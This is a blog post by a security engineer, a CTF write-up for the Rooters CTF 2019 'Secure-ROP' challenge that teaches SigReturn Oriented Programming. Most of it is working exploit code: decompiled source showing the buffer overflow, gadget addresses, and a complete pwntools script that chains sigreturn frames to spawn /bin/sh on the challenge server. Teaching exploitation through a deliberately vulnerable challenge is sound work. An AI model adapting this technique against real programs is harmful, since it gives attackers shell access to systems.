Hello I am Arsalan. Offensive Security Engineer, I blog about Cyber security, CTF writeup, Programming, Blockchain and more about tech. born and raised in indonesia, currently living in indonesia

Posts   About

SigReturn Oriented Programming

this article explains about SigReturn Oriented Programming.

#Secure-ROP

this is a writeup for Secure-ROP Rooters ctf 2019. we are given a 64-bit elf binary the binary have 2 function _start:

void __noreturn start()
{
  signed __int64 v0; // rax

  sub_401000();
  v0 = sys_exit(0);
  JUMPOUT(0x401048LL);
}

and sub_401000():

signed __int64 sub_401000()
{
  signed __int64 v0; // rax
  char buf[128]; // [rsp+0h] [rbp-80h]

  v0 = sys_write(1u, ::buf, 0x2AuLL);
  return sys_read(0, buf, 0x400uLL);
}

it have buffer overflow vulnerability, size of buf is 128 bytes but the binary can read 0x400 or 1024 bytes,

the offset to overwrite rip is 136 bytes , firstly we have to find some gadget i will use ropper to find all the gadget we need

      0x0000000000401032: pop rax; syscall;
      0x0000000000401033: syscall; leave; ret;
      0x000000000040101f: syscall;

in order to triggering srop we have to set rax to 0xf , first part of our exploit will look like this

p = "A" * off
p += p64(pop_rax_syscall)
p += p64(0xf) # sys_rt_sigreturn

why 0xf ? because 0xf is linux syscall for sys_rt_sigreturn. to make it easy i use pwntools and create the payload using SigreturnFrame to set some register value

frame = SigreturnFrame()
frame.rax = 0 # read syscall
frame.rsp = data + 8
frame.rbp = data + 0x60
frame.rdi = 0 # read from stdin
frame.rsi = data # read into the read write segment
frame.rdx = 0x400 # read 0x400 bytes
frame.rip = syscall_leave_ret # jmp to the syscall; leave; ret gadget after syscall
p += str(frame)

that will make another read with 0x400 size and will be stored a rw segment, i use .data segment 0x0000000000402000 now lets send “/bin/sh” to .data and the offset to the new buffer is different from the first one , so we have to figure out the offset first. and use another srop to call sys_execve

p = '/bin/sh\x00'
p += "A" * 96 # Overwrite until return address in our "emulated" stack
p += p64(pop_rax_syscall)
p += p64(0xf)

after we sent /bin/sh to our new buffer. now we have to do srop to call sys_execve this is the last part of our exploit

frame = SigreturnFrame()
frame.rax = 59  # sys_execve
frame.rdi = data # our .data segment
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall

this is our final exploit :

#!/usr/bin/env python2
'''
    author : tripoloski
    visit  : https://tripoloski1337.github.io/
    mail   : arsalan.dp@gmail.com
'''
import sys
from pwn import *
context.update(arch="amd64", endian="little", os="linux", log_level="info",)
LOCAL, REMOTE = False, False
TARGET=os.path.realpath("vuln")
elf = ELF(TARGET)

def attach(r):
    if LOCAL:
        bkps = []
        gdb.attach(r, '\n'.join(["break %s"%(x,) for x in bkps]))
    return

def exploit(r):
    #attach(r)
    off = 136

    # gadget
    pop_rax_syscall = 0x0000000000401032
    pop_rax_syscall_leave_ret = 0x0000000000401032
    syscall = 0x000000000040101f
    syscall_leave_ret = 0x0000000000401033

    # segment
    data = 0x0000000000402000

    p = "A" * off
    p += p64(pop_rax_syscall)
    p += p64(0xf) # sys_rt_sigreturn

    # sigreturn frame
    frame = SigreturnFrame()
    frame.rax = 0 # read syscall
    frame.rsp = data + 8
    frame.rbp = data + 0x60
    frame.rdi = 0 # read from stdin
    frame.rsi = data # read into the read write segment
    frame.rdx = 0x400 # read 0x400 bytes
    frame.rip = syscall_leave_ret # jmp to the syscall; leave; ret gadget after syscall

    p += str(frame)

    r.sendline(p)

    p = '/bin/sh\x00'
    p += "A" * 96 # Overwrite until return address in our "emulated" stack
    p += p64(pop_rax_syscall)
    p += p64(0xf)

    frame = SigreturnFrame()
    frame.rax = 59
    frame.rdi = data
    frame.rsi = 0
    frame.rdx = 0
    frame.rip = syscall

    p += str(frame)

    r.sendline(p)

    r.interactive()


if __name__ == "__main__":
    if len(sys.argv)==2 and sys.argv[1]=="remote":
        REMOTE = True
        r = remote("146.148.108.204", 4444)
    else:
        LOCAL = True
        r = process([TARGET,])
    exploit(r)
    sys.exit(0)